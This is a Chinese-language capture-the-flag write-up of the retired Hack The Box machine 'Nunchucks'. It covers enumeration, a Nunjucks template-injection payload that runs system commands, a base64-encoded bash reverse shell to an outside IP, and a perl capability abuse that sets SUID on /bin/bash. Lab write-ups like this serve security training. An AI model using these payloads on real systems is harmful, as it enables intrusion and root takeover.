Nunchucks Writeup

概述 (Overview)

b34271e1b628d07f704101c9fd297418.png

HOST: 10.10.11.122

OS: LINUX

发布时间: 2021-11-02

完成时间: 2021-11-04

机器作者: TheCyberGeek

困难程度: EASY

机器状态: 退休

MACHINE TAGS: #Node #SSTI #SUID

攻击链 (Kiillchain)

使用 Nmap 对目标服务器开放端口进行枚举,将 Web 重定向中的域名写入 hosts 文件后进行访问,通过子域名枚举发现存在 SSTI 的漏洞应用,成功触发命令执行获得初步立足点。

利用 linpase 脚本进行深度信息收集,发现 perl 存在 Capability 权限提升风险,最终通过修改 perl 脚本并运行获得 root 权限。

枚举(Enumeration)

常规使用 Nmap 先进行开放端口扫描:

PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 6c:14:6d:bb:74:59:c3:78:2e:48:f5:11:d8:5b:47:21 (RSA) | 256 a2:f4:2c:42:74:65:a3:7c:26:dd:49:72:23:82:72:71 (ECDSA) |_ 256 e1:8d:44:e7:21:6d:7c:13:2f:ea:3b:83:58:aa:02:b3 (ED25519) 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-title: Did not follow redirect to https://nunchucks.htb/ | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: nginx/1.18.0 (Ubuntu) 443/tcp open ssl/http nginx 1.18.0 (Ubuntu) |_http-favicon: Unknown favicon MD5: 4BD6ED13BE03ECBBD7F9FA7BAA036F95 | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-title: Nunchucks - Landing Page | tls-nextprotoneg: |_ http/1.1 | ssl-cert: Subject: commonName=nunchucks.htb/organizationName=Nunchucks-Certificates/stateOrProvinceName=Dorset/countryName=UK | Subject Alternative Name: DNS:localhost, DNS:nunchucks.htb | Issuer: commonName=Nunchucks-CA/countryName=US | Public Key type: rsa | Public Key bits: 2048 | Signature Algorithm: sha256WithRSAEncryption | Not valid before: 2021-08-30T15:42:24 | Not valid after: 2031-08-28T15:42:24 | MD5: 57fc 410d e809 1ce6 82f9 7bee 4f39 6fe4 |_SHA-1: 518c 0fd1 6903 75c0 f26b a6cb e37d 53b8 a3ff 858b | tls-alpn: |_ http/1.1 |_ssl-date: TLS randomness does not represent time |_http-server-header: nginx/1.18.0 (Ubuntu) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

从扫描结果中可以得知服务器系统是 Ubuntu ,对外提供了 Nginx 服务。在 HTTPS 端口的证书信息中存在一个 nunchucks.htb 的域名,访问 HTTP 端口也会重定向至该域名。

Port 443 - Nginx

配置好 hosts 文件内容后,访问该域名可以看到该站:

550

随便翻一翻存在 /login 页面,尝试使用页面上存在的 Email 地址信息进行弱口令登录:

77de58d318a7ccdf4bd02e5c17489c78.png

提示这个账号已经被禁用了,那么推测可以进行注册用户枚举,输入一个不存在的账号将会得到不同的提示信息:

0e489f31ef2ae03169e9512e842f1c31.png

这里我使用 cewl 工具将抓取站点内容生成字典:

$ cewl -w cewl-forum.txt -e -a https://nunchucks.htb

再使用的 wfuzz 工具进行自动化枚举,但尝试下来得到大量的 ERROR 信息,所以这条思路可以放弃。

$ wfuzz -Z -c -t 10 -H "Content-Type: application/json" -H "Cookie: _csrf=ALceg5YLCC3wT3Hfk4QIFae-" -w cewl-forum.txt -d '{"email":"FUZZ@nunchucks.htb","password":"123456"}' -X POST -u "https://nunchucks.htb:443/api/login"

立足点(Foothold)

在没有更多可枚举信息的情况下,尝试进行子域名枚举:

1ace7f6d39870966b6709379bb725b2f.png

浏览器访问新得到的域名:https://store.nunchucks.htb

550

可以看到,页面只存在一个功能输入一个邮件地址的订阅功能,并且存在页面信息回显。

1a47900c05d2c8a722f89b180855ac71.png

通过查看 HTTP 请求,在返回信息中存在一个 X-Powered-By: Express,而 Express 常出现在 Node
应用中。

$ http HEAD https://store.nunchucks.htb/ --verify=false HTTP/1.1 200 OK Connection: keep-alive Content-Encoding: gzip Content-Type: text/html; charset=utf-8 Date: Mon, 10 Oct 2022 12:44:37 GMT ETag: W/"fbd-udK+KYlYFVN2Nn2DXdm1EXd8mv0" Server: nginx/1.18.0 (Ubuntu) X-Powered-By: Express set-cookie: _csrf=cxGhpfLwa6Qh6MTotpRYPVzO; Path=/

第一时间想到的就是尝试进行 SSTI 攻击的验证,这里使用 burp 进行特殊字符的发送:

e603a4a8089db95a19e242d6114954e0.png

观察返回信息,传递的 {{1+1}} 适用模版运算的语句被成功解析成字符串 2,说明 SSTI 漏洞存在。

其他更多详情可以查看引用内容:

https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#tplmap
https://expressjs.com/en/resources/template-engines.html

通过阅读:http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine ,将攻击 payload 发送至目标服务器成功触发命令执行回显。

{"email":"{{range.constructor(\"return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')\")()}}"}

5c3e80f216fedc4ad69cdb6a46c7b3e3.png

接下来只需要传递 bash 语句运行,成功拿到目标服务的立足点:

$ echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNy42NC85OTAwIDA+JjE=|base64 -d bash -i >& /dev/tcp/10.10.17.64/9900 0>&1

0ad468422503fd0ec53d8b2c5bedc057.png

在 david 用户下可以获取到 user flag 。

这里漏洞实际产生的代码段也很简单,就是将内容透传至存在漏洞的 nunjucks 模版组件导致:

550

权限提升(Privilege Escalation)

将 linpeas 枚举脚本上传至目标服务器运行它进行深度信息收集, 发现 perl 命令存在 Capability 特权提升:

3455d52c49d5f807cc2ed620e57aa1eb.png

这种属性也可以使用 getcap 命令进行查看:

david@nunchucks:/dev/shm$ c /usr/bin/perl = cap_setuid+ep

GTFOBins 中可以找到权限提升语句。

./perl -e 'use POSIX (setuid); POSIX::setuid(0); exec "/bin/bash";' id uid=1000(david) gid=1000(david) groups=1000(david)

可是按照语句执行后并没有直接得到 root 权限,可能环境还存在一些问题先记下。随后在枚举信息中看到存在 Web 站点的备份压缩包:

0f5e48a0ab63c862d8a4e8bcf05066ba.png

其中的 backup.pl 脚本含 perl 脚本命令执行的完整代码段:

9687b685ddd3c3a8f73743b186dd7d93.png

综合上面直接执行失败的命令语句,直接将脚本进行 copy 并修改代码内容,利用权限提升的命令执行更改 bash 命令权限,追加 SUID 权限。

#!/usr/bin/perl use strict; use POSIX qw(strftime); use DBI; use POSIX qw(setuid); POSIX::setuid(0); system("chmod +s /bin/bash");

使用该方法成功得到目标系统的 root 权限。

500

复盘

https://0xdf.gitlab.io/2021/11/02/htb-nunchucks.html#bypass

参考


版权声明

除非另有说明,本网站上的内容均根据 Creative Commons Attribution-ShareAlike License 4.0 International (CC BY-SA 4.0) 获得许可。